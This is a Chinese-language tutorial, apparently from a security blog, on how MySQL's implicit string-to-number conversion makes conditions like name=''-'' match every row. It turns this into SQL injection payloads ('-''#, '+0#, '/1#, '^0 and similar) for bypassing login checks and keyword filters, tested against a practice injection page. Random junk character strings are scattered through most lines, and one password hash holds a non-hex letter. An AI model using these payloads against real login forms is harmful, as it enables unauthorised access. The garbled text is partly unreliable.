我们先来看这样一个场景。
9 P' H- W1 N/ @# S有以下表结构: $ X1 Q, A" J0 \" g1 V4 c& J
$ ` K: m1 K1 Z( y* F5 Nmysql> desc admin;
2 Q# J5 r* ]! K7 {% F4 U% r+----------+--------------+------+-----+---------+----------------+* M8 o' O' O# t" _
| Field | Type | Null | Key | Default | Extra |& p# I; [9 G f9 z5 {2 n% S
+----------+--------------+------+-----+---------+----------------+
Z. O7 N. A% p: d/ y0 Z' R| id | mediumint(9) | NO | PRI | NULL | auto_increment |5 I& _: ^$ w& W, n1 w2 p: ^
| name | char(32) | NO | UNI | NULL | |/ {0 I1 Q ` Y6 D+ b5 h& C
| password | char(32) | NO | UNI | NULL | |/ W( e0 p5 Y4 T" d) n
+----------+--------------+------+-----+---------+----------------+0 s" y# K: d. y* g, d$ d8 N
3 rows in set (0.00 sec)" d* P+ {; y6 j
执行select * from admin;,成功返回所有记录内容。
/ u& W& s& }$ n+ p# A% o# G$ r0 e: v) b
% D- p/ w; p) a! L- p+----+--------+----------------------------------+! v$ k/ v' n( b; }: x
| id | name | password |
5 S) U0 a! F% S; h3 K5 e# i+----+--------+----------------------------------+$ F2 O8 S+ b, I9 L3 q1 i
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |9 R6 O, D/ f# [( u, I
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |* Z9 V! R, J2 R' x4 a
| 4 | n00b | ff80e8508d39047460921792273533a4 |
1 W! q3 q" w: {5 q+----+--------+----------------------------------+: D( Q3 E6 E4 Z' d. J, I# I
3 rows in set (0.00 sec)
- [: p! n, x' o0 A, W; C执行select * from admin where name=”;,没有匹配到任何记录。 8 h+ D" s9 B6 p$ Q3 h7 d
6 o5 }% r' @$ |2 c0 Cmysql> select * from admin where name = '';
7 v S U0 I: c: Z* ]- |Empty set (0.00 sec)
8 L0 F8 f! f) [; s那么我们来执行select * from admin where name = ”-”;
7 K7 L+ K# n2 W, ?8 K' X* c% z( k6 ?5 w, I \
! P+ B5 |/ q# A4 W% M2 {* J3 R
+----+--------+----------------------------------+
" c/ n, w7 z) |( W2 A, M. @6 ]| id | name | password |
6 c) D: ^- g5 m6 W0 M+----+--------+----------------------------------+$ \& k4 ^) ]! r
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
2 H. @7 @, R5 m" P. ?# Q ]9 t7 \| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# q/ Z# r& Y. s
| 4 | n00b | ff80e8508d39047460921792273533a4 |
% n8 L4 G% s W+ w; M+----+--------+----------------------------------+5 `* t, h& I+ b* p" U
3 rows in set, 3 warnings (0.00 sec)# a ^# S5 x$ L4 }2 O6 P
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 3 O8 ? h& ~5 ~, {& \1 R2 p# S8 t
- f8 N7 i% C8 o( ^, z7 o, Bmysql> show warnings;
) I, P2 d7 j' k8 | ]* m+---------+------+------------------------------------------/ X4 Z& g+ } A- m% e `
| Level | Code | Message
' [3 p* R" {( q+---------+------+------------------------------------------
0 e2 q8 T# }( F6 V1 C2 v" J| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
/ m; ^7 C O0 \| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
/ _- S$ {& i' N0 P" ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b( s2 y- ^2 e2 J( F4 R2 C# x, U5 t
+---------+------+------------------------------------------& k. C6 _& j3 @
3 rows in set (0.00 sec)
) F3 c1 t$ M4 `1 j1 T& f提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 . ?" i: {' c0 S; {
6 W2 W% E1 {$ I9 t+ mmysql> select ''-'';- b% }0 O$ i6 {7 G
+-------+$ Z# w' g; V0 f
| ''-'' |
! D L* {# I8 _9 w, O1 A2 B( ]( y1 j+-------+% S2 _* y! l6 i) q+ m8 ~3 h
| 0 |
& P1 m6 s* Y6 J# l+-------+
; A; X# ~' Y4 k9 M1 row in set (0.00 sec)" {/ r8 l# ]: m8 d/ s" B
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: * {! F5 n0 u' ]8 F" R. {8 W7 K( [
" H9 o/ E+ t7 r, @. I" \1 ~' ~mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
. P9 n# o N8 N. P& e+-----------------------------------------------------+% b& U; F2 n( k, d& i2 e- j
| CAST((select name from admin limit 1,1) as DECIMAL) |! b" ?9 a" ^- y4 ~" K0 \
+-----------------------------------------------------+
$ ?. G- z+ \7 ]" c' ?& ]; J| 0 |
, _2 \; p1 }8 S/ \4 D% Y+-----------------------------------------------------+4 l* j& Q1 B& l& f1 u+ ?2 T3 r
1 row in set, 1 warning (0.00 sec)
3 F& I- Q- V8 G& d8 x" J/ W因此where语句构成了相等的条件,where 0=”=”,记录被返回。 % A4 _" ~# Q7 x5 z# D
t! K9 \' B+ r' Y/ A
SQL注入场景: http://www.sqlzoo.net/hack/ + k( @* m4 ^8 j% _; _# U$ ~& k
- P5 ]0 s% ]9 c/ |: O# C2 J1 i
* U/ X3 X! k# k4 B$ ], X; D
/ y! J; c5 H/ {3 a0 h" y" z8 j) d' f* b: ?3 i3 I" F) J' n
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 L O G; u4 V; u2 Y) P+ t2 N
' v5 B8 D( W$ z4 m8 O
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
/ Y4 P4 [6 s# I( i7 v; \5 u$ m( H) V
3 u1 i( E) L: g; @! H0 n
/ g9 ^$ a: r# Z% o+ K
( J8 f! i4 [7 n" K+ s: c& H" E3 t) ~# |' R
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 6 u8 i. j& ~1 j* U, P+ F6 r
5 y7 Y$ D( G' g& F
" o1 q+ `( A( U2 N4 q3 W; |6 p& J. e
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
7 L r( r' v1 N$ I1 b/ B
$ c7 A) O( c7 ~2 U' d& _- h, i6 p1 }2 g6 S4 {, M$ ]- j3 ]9 E
mysql> select ''/1;
# o) a' }# R% y! o$ t& j+------+/ I: {4 E% ^, |1 I3 p* V
| ''/1 |% n+ }) T% e/ |, G4 c3 Y
+------+# c* H: G* c0 `1 q# |$ H3 f
| 0 |
7 ^5 _: v4 F+ x2 ]5 w* i! ~7 T: S+------+
7 M" J( C, i# J% Q( f0 }1 row in set (0.00 sec)
$ r8 o! g5 I( {% q, L$ u类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 9 Z- I9 e) K9 j1 ~4 P, r
: Q8 S/ p7 f: ^1 G1 k: T+ r0 J
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
9 K! _$ ?* p2 D |
|